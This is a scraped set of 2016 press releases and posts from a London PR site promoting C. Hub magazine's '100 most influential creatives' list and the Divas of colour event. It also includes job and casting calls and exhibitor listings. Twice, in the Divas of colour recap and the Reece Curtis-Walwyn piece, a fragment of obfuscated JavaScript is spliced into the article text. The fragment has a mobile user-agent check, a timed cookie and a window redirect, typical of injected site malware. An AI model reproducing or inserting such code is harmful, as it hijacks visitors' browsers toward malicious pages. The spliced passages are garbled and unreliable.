CA award otherwise known as Creative Africans award or Creativity Award now in it’s 2nd year and is created by C. Hub magazine to further cement it’s mission of promoting, highlighting and celebrating African creativity worldwide, creating a platform where accurate record of contributions of Africans are published and helping African talent to secure their place in global branding.
C. Hub magazine is the first and only Affro-Creative magazine , available online, on print and on the app store. C. Hub magazine was voted best magazine of the year at BEFFTA and named most informative African magazine in the US. C. Hub magazine in it’s 4th year has established itself as the most authentic and reputable African magazine in the UK and beyond.
For interviews, questions and further media requests, please contact us on
Phone: 02035321354
Email: pr@mbwpr.com
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Press Release: C. Hub magazine 2016 100 Most influential, full list.

C. Hub issue 14 finalLondon, 07/04/2016. C. Hub magazine releases its 2016 100 most influential creatives . The shocking compilation of world’s  creative influencers appears in their Spring issue , April -June 2016. 

Defending the criteria for the list, Faustina Anyanwu the magazine’s Chief Editor writes in her editors letter released to the media as follows. 

“We probably will be kicking several butts with this year’s 100 most influential for all the good and well, bad reasons for some. They are not the usual names you’ve always seen. 

Recognising the importance of creativity, coupled with the power of social media, you can no longer put people in just one box and define them. More and more people are now thinking and living outside the long familiar definition, and they’re out influencing their circle with their own unchecked imaginations. 

These are the people challenging what you’ve known for ages, challenging the stereotypes, challenging the norms and creating their own reality . Their reality which resonates with the needs of people around them. They’re the new leaders of our time, the influencers.
Years back if you heard ‘influential’ , you probably would start listing all the media famous names and ‘world leaders’, – position or status leaders. One good thing about this era is, such definitions of influence are being challenged. 

C. Hub magazine understands the principles of maximising smallness and the principles of authenticity, creativity and vision , and has tailored this year’s most influential again based on the fact that these individuals are maximising resources around them to create powerful ripple effects that are changing lives, using the power of their gifting , vision and creativity . This however is an inexhaustible list as we continue to research to update the list of those influencing our time. Power to your imagination. Meet your 2016 most influential creatives as compiled by us and our contributors . 

Feel free to send us your creative influencers too. All relevant suggestions will be published on our next listing. Email me , editor@fauntee.com or tweet your views to @C_hubmagazine #CHUB100Mostinfluential

Come out of the box, and let your imagination take the lead and #Keepwalking.” 

The magazine is will be available in both app and print editions from Monday 11th April, 2016 on www.chubmagazine.com 

The inexhaustible list is as follows , in no particular order:

  1. Jourdan Dunn – Model and fashion icon. (Refer to  cover story)

2. AKON – MAKING POSITIVE IMPACT.

A US – Senegalese Rapper is not only continuously uplifting people with his music but also walking walk by opening doors of opportunity in America and Africa. Determined to reach out for his roots, determined to transform his people positively Akon wants to show us that leadership comes from within: “Personally, I don’t think that charities in Africa really work,” “I think it just holds the people down longer than it should.” On lighting Africa, he says: “ If you want to make an impact, start from the rural areas because that is the heartbeat of Africa. Leading by example, he has launched an initiative aim at developing an innovative solar-powered solution that will provide electricity in rural areas. The difference with being a leader is that you take the first step. Leadership begins with you.

  1. SERENA WILLIAMS

Tell me, there are billions of reasons why people love Serena Williams but none is as powerful and enduring to my heart and mind than her drive to change the face of tennis forever. She has the credibility, motivated,energized and committed. She inspired my generation, and next generation with her talent. Kudos to her! As the world No.1 who cherishes her roots and proud of her heritage, she is not only motivating Africans but building schools such as Serena Williams Secondary school in Matooni, Kenya. On the latest row, Serena frowns at Novak Djokovic urging him to explain why male player deserved more money than their female counterparts. Serena continues to have positive influence on women and men throughout the whole world and she is admired for her talent and courage.

  1. DUPSY ABIOLA

A city girl with her mega bucks left her juicy career as lawyer to start her own business. In 2010 Dupsy founded ‘Intern Avenue’ “to give young people more opportunities to understand what might be a good fit for them and to empower employers not to be a slave to the system.” In her word: “I won’t pretend that it wasn’t a big decision” The ability and willing to change a life is what counts in leadership. Taking responsibility for the quality of leadership people experience regardless of your status, age, sex and race is what inspires people to follow a leader.

  1. Lewis Hamilton
  2. Mo Farah
  3. John Boyega
  4. Floyd Mayweather
  5. Usain Bolt
  6. Anthony Abuah
  7. Niyi Towolawi
  8. Lupita Nyong’o
  9. Sade Adu
  10. Dorothy Ghettuba
  11. Mark Zukerberg
  12. Sarkodie
  13. Bassey Ikpi
  14. Chimamanda Adichie
  15. Bola Agbaje
  16. Amma Asante
  17. Akua Gyamfi: Akua Gyamfi: award winning journalist and Founder of the British blacklist, Akua is the UK’s no.1 sought after correspondence for diversity in the arts sectors.
  18. Dr Clare Anyiam-Osigwe (nee Eluka).Dr Clare Anyiam-Osigwe (nee Eluka), multi-award winning Founder of 2 pioneering brands: Premae and JoClarePr, Clare believes in changing the world once face at a time whilst helping new businesses find their market position in their industries.
  19. Florence Adepoju: London’s coolest scientist and Founder of lip brand MDM Flow
  20. Bianca Miller: 2015 BBC Apprentice winner
  21. Ade Hassan: Founder Nubian skin hosiery and lingerie
  22. Genevieve Nnaji: Arguably Nollywood best actress.
  23. Grace ladoja: fashion and music film director, grace has shot videos for Skepta, FKA Twigs and cult brands like Cassette player and Barbie.
  24. Michaela Coel: Actress, writer and director of Chewing Gum, the hit E4 comedy drama. The first black woman to get a second series commissioned by Ch4
  25. Michealene Holder-March :
  26. Joivan Wade
  27. Idris Elba
  28. Calvin Demba
  29. David Avery
  30. Emmanuel Anyiam-Osigwe: Visionary and Media Icon Award Winner, Emmanuel is the Founder of BUFF, British Urban Film Festival and Awards. Now in its 11th year, the CIC provides a much needed platform for onscreen and offscreen diverse and BAME international talent.
  31. Nathan Brion
  32. Chucky Venn
  33. ALuko Eni:  Just as Serena Williams has changed the face of tennis, Aluko is determined to transform football, a male dominated game to become a sport where women will be appreciated and celebrated. Aluko and her England teammates are delivering great creativity, optimism and excitement.
  34. ANTHONY JOSHUA: Anthony Joshua is a Nigerian British fighter who is now the real deal. As a professional boxer who holds both British and commonwealth heavy titles he remains the most favourites to become the world heavy weight champion.
  35. AUSTIN OKERE
  36. SIMBI AJIKAWO: known as Little Simz is a 21 year – old rapper from Islington North England her passion for music is resonating with Hip – hop fans
  37. O’SHEA JACKSON – known as Ice Cube  – American Rapper, Record Producer, Actor and Filmmaker.
  38. Tyler Perry
  39. Chief Ayo Oyebade : Leading voice in the Nollywood UK industry.
  40. Yawa Hansen-Quao
  41. Dr MKO Balogun
  42. Mario Balotelli
  43. LEBRON JAMES
  44. Ejiro Amos Tafiri
  45. Nana Addo Tamakloe
  46. Sola Babatunde
  47. Winston Ellis
  48. Emmanuel Oyeleke
  49. MaameYaa Boafo
  50. Obi Emelonye
  51. Abiola Orimolade
  52. Dr Nkem Ezeilo

57 .Faustina Anyanwu

  1. Prof Rotimi Jaiyesimi
  2. Chief Aloysius Ihezie
  3. Gayle Thompson
  4. Joel Anthony
  5. Christopher Samba
  6. Charles Thompson (MBE)
  7. Kwame Koranteng
  8. Mandy Sanghera
  9. Levi Roots
  10. Vincent Kompany
  11. Christian Benteke
  12. Eze Ihenacho
  13. Simone Biles
  14. Wesley Snipes
  15. Rita Clifton
  16. Ava Duvernay
  17. Sandra Nelson :
  18. Mehdi Hasan
  19. Deborah St Lewis
  20. Chioma Nnani
  21. Segun Agbeje
  22. Tunde Alabi :
  23. Emeka Anyanwu: Serial entrepreneur, motivational speaker and Youtuber. Author of Kalango, The Big R of A Successful Business; The Entrepreneur’s Blueprint. He’s the Co-founder and publisher of C. Hub magazine and Co-Director of Faunteewrites Limited a niche publishing company helping writers of African descent to achieve their  authorship career goals.
  24. Funke Abimbola
  25. Bernadette Adufe
  26. Adi Alfa
  27. Jelani Aliyu
  28. Joy Adenuga
  29. John Magufuli
  30. Chinedu Echeruo
  31. Alex Iwobi
  32. Venicia Stelle Guinot
  33. Muzvare Betty Makoni
  34. Justina Mutale
  35. Josh Daniel Jones – Photographer
  36. Vivian Timothy
  37. Oluwakayode Ogundamisi
  38. Dr Alistair Soyode
  39. Minna Salami
  40. Vusi Thembekwayo
  41. Linda Ikeji
  42. Trevor Ncube
  43.  Ferdinard Lawson

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Photo: Glitz and glam at Divas of colour 2016

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Divas of colour 2016 was a huge success .

Doc 1London, 29/03/2016. The 3rd annual gathering of world’s most powerful women of colour, Divas of colour has again been a great success. With 24 brand exhibitors, 6 fashion designers 24 award recipients and guests from around the world – Germany, US , Caribbean and Africa flew in to witness a beautiful day.

 

Hosted by the Queen of screen , producer, multi-award winning media personality, Priscilla Nwikpo with her co-host, the award winning bestselling author of the acclaimed title, Humility of the Brain, Eze Ihenacho.

The highlight of the night being Faustina’s  live interview of Nigerian German based self taught painter , Vivian Timothy who’s paintings has been an out cry o the social, humanitarian and environmental neglect going on in Nigeria and Africa at large.

In her opening speech, Faustina Anyanwu, the founder of Divas of colour, urged parents and adults to be more alert to the activities of certain charities that take advantage of African children,  continually perpetuating negative and depressing image of African children, diminishing the human value of our children. She went on to say that protecting our children should go beyond preventing physical abuse but also should include psychological abuse. Urging adults to hold our children with respect, dignity and respect. “Protect the image and self worth of our children”, she said.bw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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Reece Curtis-Walwyn confirmed to showcase on Divas of colour

imageYoung designer Reece Curtis confirmed to showcase on Divas of colour as the winner for DOC emerging designers application

About Reece Curtis-Walwyn:
RCW ( Reece Curtis- Walwyn) is an emerging Womenswear designer from the hearth of London. The brand has been featured in showcases across London in event of London Fashion week and Houses of Parliament . Which lead to landing her first collaboration collection with London Enthics. RCW has won awards such as Young Designer to watch (2013) Own Label competition (2014) and Sponsor me awards (2015), leading RCW to launch their brand in August 2015 as an support business by the The Princes Trust. These awards allowed her to progress in her career to then feature in newspapers such as The Daily Express, The Mercury, The Beaver newspapers, Bricks Magazines , The Debut Magazine and Black Hair and Beauty Magazine. Reece has lucky enough to dress Jenni Steele at BAFTA nominations and Film premier ‘Home Again. RCW is currently stocked in store in Shoreditch and online via modafirm.com .

The collection
RCW current winter collection was been inspired by the modern buildings in London. How the old building have a strong present within the sky scrapper of the hearth of London. The texture and structure has been adapted and applied to the craftsmanship for RCW winter collection. The strong present of the bold tones of colours and contrast of fabric have created empowered luxurious clothing for Women range.bw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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Security Job: 2 Door supervisors wanted,apply within.

EVENT-SECURITY2 security guards needed for a high profile event on Saturday 26th March, 2016.
Venue: Hilton Hotel Tower Bridge London
Rate: £10/hour
Time/duration : 2.00pm to 22.00
Requirement: Must have SIA licence and have experience guarding at events. Be swift and able to take control of situations.

Job Description:
Guards will be responsible for making sure that the day runs smoothly, monitor and remove people without tickets . In charge of controlling the doors and bouncing any unwanted disturbing individuals.

To apply, fill out the form below. Successful candidates will be contacted.

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Dr Nkem Ezeilo a UK GP Defies Cancer Diagnosis to Pen Inspirational Book for Women

Dr Kem bookcover PRLondon, UK- A sought-after speaker, health coach, and Doctor, Dr Nkem Ezeilo (Dr Kem) is proud to offer her latest book; “Inspirational Blueprints” which will serve as an interactive personal development Bible and personal success guide for women who want to take their journey to the next level.

The great principles shared in it have been proven to work in any area of Personal and Professional Life. In March 2015, Dr Nkem Ezeilo was diagnosed with stage 4 breast cancer, a diagnosis which carries a poor prognosis of weeks to months. Determined and strong willed, Dr Nkem knew she would beat it, by practicing what she teaches about Optimal Mindset being the key to success in any area of life, including health.

While on her sickbed – defying medical expectations and prognosis, Dr Nkem decided to start a home based business as she could no longer work at the Clinic. Ever since, she has rapidly risen through the ranks, proving that excuses are merely in the mind. With this experience, she has decided to update her life transforming book, “Inspirational Blueprints for Personal Success for Women”, as a lot had happened since the first edition was published in 2010.

Women would love the new insights, strategies and findings in this revised edition of her book as she has meticulously written the contents with great compassion to liberate women from suffering and negative thinking. This book will serve as daily guide for a life-shaping process to greatness in all areas of life, notwithstanding the profession or career nor social and economic status,

This inspirational book will be made available starting from March on the publisher’s website- www.fauntee.com and readers can place an order now at a discount. Dr Nkem will also be kick starting her inspirational book signing tour at this year’s Divas of color event where readers, especially women would be opportune to receive their signed copies.

About Dr Nkem Ezeilo: Dr Nkem Ezeilo (Dr Kem) is a UK registered GP, Author, sought-after Speaker and Health Coach. She had a private practice at London’s famous Harley Street.

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Casting call. 4 female models needed for a luxury skincare brand photoshoot.

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Our client a luxury natural skincare brand is looking for 4 beautiful women to be the face of their brand campaign both for print, and online promotions.

Our ideal woman does not necessarily have to be professional model. You only have to have, a beautiful face, skin, body, legs , arms and have the confidence to show them off. Sparkling eyes and smiles, great white dentition, and easy to take directions. No tattoos or body piercings please.

We require one Afro Caribbean (Black/Brown,) Asian, Mixed race and Caucasian models. You must be 18 and over to apply and resident in UK, able to travel to London. Also must be available for shoots.

Successful models will receive £100 each for the photo shoot. Audition is on Friday 26th of February. Photo shoot will be on Friday 4th of March.

All other information will be sent to candidates selected to attend live casting. Apply using the form below. If you’re using a phone or iPad, you might have some difficulty filling out the form. If that’s the case, try using a PC .

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Divas of colour 2016 speakers.

Divas of colour conference speakers .Divas of colour 2016 focuses on the importance of protecting the child in support of the efforts of our chosen charities, Girl Child Network Worldwide and Star Children Initiative. Especially the dignity and image of the African child. We believe that decades of unchecked activities of so many charities have done so much bad than good in damaging the self esteem of African children. As much as we try to clothe and feed them physically, we also have to understand that their dignity and self esteem is as important .
With this in mind, we have selected younger speakers who have clear understanding of the needs of this generation child’s needs. With their expertise, they will be able to emphasise on these issues raising awareness and educating the adults on ways to protect the child both emotionally, psychologically and physically.

Phinnah Chichi Ikeji is a very active parent governor for an outstanding London primary school and also the founder of two parent organisations, PARENTS INSPIRING PARENTS C.I.C AND PARENTS OF BLACK UK PUPILS C.I.C .

A parents’ forum with a mission to PARTICIPATE IN & EMPOWER OUR CHILDREN’S EDUCATIONAL DEVELOPMENT. She is in addition to that, the publisher of an inspiring and positive teens magazine called Ten2Teens Magazine.

She speaks to parents at events (community events, women’s events, church events, parent’s events, charity events etc.) on a wide range of topics covering the importance of parent’s involvement in their children’s education, understanding the UK Education system and empowering parents.

Patrice Thompson : is a BSc Government & Economics graduate from the London School of Economics and Political Science, a financial services professional and a TED speaker. Patrice’s TED talk focussed on multigenerational issues in the workplace.

Muriel Angele Kakoni tutors in primary school and college. She is of French Afro Caribbean heritage. She has helped set up and run a children’s charity aiming at giving children from deprived communities greater aspirations. She has a real passion for children and young people and her mission is to help them live a purpose driven life. She believes that children “don’t care how much you know until they know how much you care!”. She is also an entrepreneur.

Anaya Kamara

Surviving a severe trauma, depression, stress, broken heart, broken engagement, self pity, memory loss to name a few due to a fatal accident she was involved in, that also took the father’s life suddenly in January 2006, Kamara who is an IT graduate, establish Anaya Hair & Beauty ( 7 years on since 2008), a mobile hairdressing and beauty organization .

“I’m grateful to have overcome the challenges and hardships where it seems almost impossible to breakthrough. Anaya Hair & Beauty was a therapy to focus my mind and hairdressing skills on others and by so doing over the years, healing came and it also germinates in inspiring and encouraging others.”

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Divas of colour 2016 finalists grace the cover of Pearlwoman magazine.

Press release: London, 09/02/2016. Divas colour 2016 finalists grace the cover of Pearlwoman magazine.

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In an exclusive coverage, Pearlwoman magazine as part of their sponsorship deal, features all about Divas of colour 2016 with the cover graced by the finalists. The issue just like any other would be available free in and around London for free pick up from March, also at the Divas of colour event on 26th March.

“It’s a very exciting feel to have our 2016 finalists grace the cover of Pearlwoman Magazine, one of London’s leading free bimonthly women magazines. It indeed is a real boost to the efforts that Divas of colour is making in celebrating and putting women of colour on the spotlight.” Says Faustina Anyanwu founder Divas of colour.

Pearlwoman magazine has is known for it’s quality content geared towards celebrating the London savvy woman of any race and background. Mostly discussing positive and inspiring topics to empower, inspire and educate women in diverse topics including their body, their career and lifestyle.
PearlWoman magazine supports events which put women in the positive light and tends to give excellent and wide coverage on topics that resonates with the savvy woman.
The issue will have much more details of all the finalists, sponsors, partners, exhibitors and all participating on the Divas of colour 2016 event on the 26th of March 2016. Brands are urged to come and make use of this rare opportunity to expand their reach and network with this excellent coverage.

About Divas of colour
Divas of colour is the largest gathering of world’s most powerful women of colour from around the globe. A special day to celebrate, recognise, reward and discover the best and contributions of women of colour around the world. More details about divas of colour can be found on www.mbwpr.com/divasofcolour2016 and tickets are available on Eventbrite.

For press enquiries please contact us on
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Artist Lilas LaFleur Live on Divas of colour 2016

LilasLafleur liveLilas LaFleur is a UK based recording artist, born and raised in Paris (France) of Congolese parentage. Lilas is a gifted musician, her music is positive and from the heart. She is passionate about encouraging people not to give up. Her songs are inspired from her own personal experiences; sharing the gift that God has given her.
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Lilas supported the multi-platinum selling, award-winning American R&B superstar, Ne-Yo at his sell-out North East England After Party in Sunderland on the 18th of July 2009.

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Roc Nation Artist, K Kokes mixtape “Pure Koke 2” released in April 2011, the official video was TAKE MY BREATH, released in May 2012. In 2012 Lilas featured ROC Nation / Sony RCA artist K KOKE hit single TAKE MY BREATH. She was nominated for a BEFFTA AWARDS for Best Female Act that same year.

Lilas has some fresh music to share with the world, Girlfriend her chariting single in support of Matumaini Orphange based in D.R. Congo and Never Look Back her debut single are out now available on Itunes.

On the 31st of July 2015, Lilas launched her own charity ‘Girlfriend Foundation’ all about empowering women.

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Press release: Dr Yvonne Thompson CBE named Patron for Divas of colour.

Dr Yvonne Thompson becomes the first ever Divas of colour Patron.
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London, 21/01/2016, Organisers of Divas of colour, the largest gathering of world’s most influential women of colour, delightedly announce Dr Yvonne Thompson as their first ever Patron for the women’s forum. This is very remarkable and exciting for the organisation to have affiliation with a woman who is an epitome of a positive role model.

Dr Yvonne Thompson (CBE) is widely known as the first ever self made woman of colour millionaire in the UK. She has spent over 3 decades advocating for women in business, small businesses and the ethnic minority groups. Her book, 7 Traits of a highly successful woman on board has become a practical business handbook not just for women but for any serious entrepreneur. The book was named among the top 5 books for entrepreneurs this year by C. Hub magazine.

Speaking, Faustina Anyanwu the founder of Divas of colour said,”It is an absolute joy to have Dr Thompson as our first ever patron in our 3rd year. This means a lot to me as she is a woman I’ve admired for so long from afar. To have her on board Divas of colour means that dreams do come true. Dr Yvonne Thompson is an icon and represents what a Diva is all about; DIVERSE, INTELLIGENT, VERSATILE, ABLE and STRONG. At a time when people are more focused on feeling rejected, it’s even more important that we take responsibility to celebrate our differences , and create opportunity for others to discover who we are.”

ABOUT DIVAS OF COLOUR

Divas of colour was launched in 2014 as the largest gathering of world’s most influential women of colour. A special day to celebrate, recognise, reward and discover the best and contributions of women of colour from around the world.

Divas of colour is a whole day event featuring, fashion show, trade show, fundraising, entertainment and awards ceremony. The award recognises women of African , Asian and Caribbean origin and has since recognised women such as Prof Anionwu, Sherry Dixon, Hon Rep. Dee Dawkins of Georgia state USA and so many other women to mention a few.

Each year, Divas of colour chooses a charity championing a cause of their focus. Divas of colour has chosen and fundraised for Glowing Future (charity for Domestic violence victims), Depression alliance. This year, Divas of colour is focusing on child safety and protection and has chosen Girl Child Network Worldwide and Star Children Initiative.

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Divas of colour 2016 award finalists

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PRESS RELEASE: Divas of colour releases names of all finalists and award recipients for the 2016 award.

London, January 20, 2016. Organisers of Divas of colour has shortlisted the names of the finalists and recognition recipients for the 2016 award.
“The third edition of Divas of colour awards is the toughest yet with over 200 nominations, some awards with over 50 nominees. It has not been easy for the team to bring each category down to the final four maximum.
We would like to thank all those who took time to put forward names of these women and don’t be disappointed if your nominee is not shortlisted, rather stay in touch for dates for 2017 nominations.” Faustina Anyanwu , founder.

Based on the information submitted to us, we’re happy to present to you our finalists up for Divas of colour 2016 awards. Congratulations to all nominees and all recognition recipients.
All nominees and guests are cordially invited to the grand ceremony on the 26th of March 2016 at Hilton Hotel Tower Bridge , No5 Tooley street, More London, SE1 2BY. Tickets are now available to buy here.

As time goes on, you will be able to click on each award recipient and nominees to view their profiles.
The lists are as follows;

RECOGNITION CATEGORIES

LIFETIME ACHIEVER
Diane Abbott MP.

 

WOMEN OF HONOUR
Patti Boulaye (OBE)
Mayor Patricia Ekechi
Mandy Sanghera
Prof F. N Obasi
Sponsored by DIAL- A- CARER

 

GLOBAL LEADERSHIP
Stephanie Busari
Debbie Ariyo (OBE)
Pauline Long
Sponsored by NURUH SKINCARE.

– DIVA AMBASSADOR (Role model for women).
Akua Gyamfi
Nurse Chioma Okeke
Grace Alexander

Award CATEGORY FINALISTS

– ENTREPRENEUR DIVA
Placida Acheru
Nefateri Asantewa
Savita Kayê
Bianca Miller

 

– INSPIRATIONAL DIVA
Salome Ahenkora
Ini Usanga
Polly Harrar
Trishna Bharadia

 

– OUTSTANDING DIVA
Funke Abimbola
Vivian Timothy

Christy Amalu

Sheila Gatonye

 

– INTERNATIONAL DIVA
Sonia Poleon
Funke Abimbola
Paulette Harris German
Bibi Owusu- Shadbolt

 

– COMMUNITY LEADER
Rani Bilkhu
Lena Marshall
Manisha Tailor
Jennifer Okafor

 

– YOUNG ROLE MODEL
Cherie Johnson
Anaya Kamara
Elizabeth Boampong
Julia Bwoma

 

– DIVA AUTHOR
Diane Shawe
Atiya K Jones
Chioma Nnani
Caroline Bell Foster

– DIVA ARTIST
Katongo Temba
Euphemia Chukwu
Precious Ngwu
Ijeoma Amazin

 

– DIVA TV/RADIO PRESENTER
Denise Nurse
Leah Charles King
Tomi Badejoko
Claire Clottey

 

– DIVA EDITOR
Delia Mayrschofer
Venicia Stelle- Guinot
Gold Ola

 

– DIVA FASHION STYLIST
Kaft Trendz
Afi Boateng

 

– DIVA MAKE UP ARTIST
Mercy Kudakwashe

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Celebrity stylist Derek Decutter confirmed official stylist for Divas of colour for the 2nd time .

derek3Celebrity hair stylist Derek DeCutter Clement returns to Divas of colour for the second time running as the official hair stylist for the models on catwalk during the Divas of colour fashion show 2016.  Divas of colour ticket facebook adDerek’s journey began as an apprentice at the prestigious Spinters International in Mayfair. The Genesis of DeCutter whose philosophy turning heads healing hair began developing his product line way back in the 80s.

derek2In 2014, Derek finally introduced his product range to the world. As a hairdresser constantly searching for that perfect finish with optimum condition, his focus was a product line to do just that and ARGAN OIL DCCFACTOR1 and SHINE SERUM DCCFACTOR11 was born.

Fusing science and nature together, Derek’s posses the natural oil polish and serums as they are lab perfected to create the perfect consistency and weight to protect the most damaged hair penetrating deep into the cuticle to give ultimate repair.

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D-Love Jewellery to showcase at Divas of colour 2016 fashion show

dloveD- Love jewellery house is a unique, elegant   luxury jewellery brand  handmade with high quality gold plated , genuine Swarovski crystals, gemstone, pearl, cubic zirconia and beads yet affordable.

D-Love offers free repair services to it’s clients and many more high quality customer services.  Find out more about D-Love here – www.dlovejewellery.com

D-Love will be making a grand entry with a double back to back showcasing at the day and night sessions of the event.

Buy your ticket now to attend Divas of Colour 2016

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Buy Your tickets: Divas of colour 2016

We’re excited to have you back for the 3rd edition of Divas of colour . This year, we promise you an even bigger, better and more daring event with our partners, exhibitors and sponsors.

Divas of colour as usual is a whole day event comprising of Trade show, fashion show and award night. Each session of the event has its separate ticket . Please make sure you’ve chosen the event you like to attend.

DATE: 26 March 2016

Time: 12 noon – 5pm, 6.30 – 11.30pm

VENUE: Hilton Hotel Tower Bridge London , SE1 2BY (2 mins walk from London Bridge tube station ;nearest station too).

Posted by Divas of colour on Monday, 22 February 2016

Frequently asked questions.

  1. Can children attend? Yes. Children can attend trade and fashion show but not in the night.
  2. Are children paying? For trade show no. For Fashion show yes children over 10 years must have their tickets.
  3. Is there packing at the venue? There is a limited parking space on the street, these are not guaranteed on a busy day.
  4. Any food or refreshments served?  Check that your ticket has that package.
  5. Will there be ticket sales at the door? NO. Ticket sales will close a week before the event.
  6. Can I attend all the events? Any concession with the tickets? Yes. See the packages below.
  7. I’m from the press. How can I get press pass? Follow the link here

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Press Accreditation Divas of colour 2016

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Press Release: Divas of colour partners with Black Afro Queens modelling agency.

For Immediate Release .

Divas of Colour 2016 partners with Black Afro Queen Modeling agency

Black Afro Queens modeling agency to provide professional models for Divas of colour 2016 fashion show.

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London, 27/12/2015. Organisers of Divas of colour International women today announce the exciting partnership with Black Afro Queens modeling agency to provide over 20 professional models for the 2016 Divas of colour fashion show.

Divas of colour in just 2 years has set itself as a global brand, the most authentic and well designed platform to celebrate the great achievements of women of colour from around the world. In a bid to continue to create the seal of quality, Divas of colour partners with only the best organisations, individuals and brands.

BlackAfroQueens is an International Model/Talent agency which encourages, inspires and empowers young ethnic women from around the world, founded in 2014 by Andrew Bannon.  This agency is looking for the chance to showcase ethnic women through modelling, media, design, creative and performing industries.

Andrew Bannon said, “BlackAfroQueens are  pleased and honoured to be a partner of Divas Of Colour 2016. BlackAfroQueens has the same core values as Divas Of Colour 2016 to encourage, inspire and empower women of colour from all around the world .We fully support the chosen charity  and all the people who come together to make this a truly amazing event, and  finally we  get the chance to interact and network with the most amazing women of colour.”

Faustina Anyanwu founder Divas of colour said, “we’re thrilled to have Black Afro Queens modeling agency to be our official partner to source models for this year’s Divas of colour fashion show.  Divas of colour is created to bring back quality, authenticity as well as highlight the best of women of colour. Therefore, our aim is to make it the best  at all times, give our showcasing designers a great production worthy of their labels. I have a huge trust in Black Afro Queens modeling agency in getting us the best models to achieve this.”

In the days to come, you will be able to see the models already booked for the Divas of colour 2016 fashion show.  This is a great opportunity for Designers to get their spots confirmed if they do not want to miss the largest and best production yet.

Black Afro Queen modeling agency will also  provide ushers for the event  and will perform a Grand  Finale with all BAQ Models/Dancers/Singer as you will see. 2016 Divas of colour is a no miss as fashion show for the first time will run concurrently with trade show during the day.

Apply for press pass here

Tickets are available here

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Find out more about Black Afro Queens  on the website – www.blackafroqueens.com

and follow them on Social media – @blackafroqueens  instagram

blacafrokweens  facebook twitter.

For updates on the 2016  Divas Of Colour : www.mbwpr.com/divasofcolour2016 ,

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Exhibitors at Divas of colour 2016

 

 

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1. Brand: Forever Living Products.

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Aloe Vera  gels, supplements, Skincare and weight management products.

Offers: Buy 2 lipsticks and get the  3rd FREE. Buy 1 foundation + powder + BB creme  and get 1 lipstick and FREE mini facial FREE.  There are also  samples and Freebies available on demand  only at Divas of colour 2016. kakoni 2

Business Owner website: www.mspgroup.flppro.biz

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2. Brand: Jazzieo Textile

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Jazzieo Textile Design specialised in contemporary pattern designs for the home wear and fashion accessories. Our design are rich in bold graphic and beautiful colours. Our product line include, Lampshades, cushions, bags, scarfs, art prints, cards and notebooks all handmade using our original textile design and African wax print.

Brand Website : www.etsy.com/uk/shop/JazzieoTextile

 

Beauty of London: is a traditional wear accentuating the full west indian curves and covers the diaspora of us as black people. innovative awe ,inspiring ,fresh perspective. My designs have an eye for the current black fashion.
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The messages behind the logo are “do not let yourself be the barrier”, “think outside the box and unleash your creativity unto the world, hence the W being outside the box on the logos. This is a representation of my personality and determination to pursue my dreams and opportunities regardless of barriers you must always strive for greatness. Opportunities does not exist in isolation of risk, you must embrace them both for success.

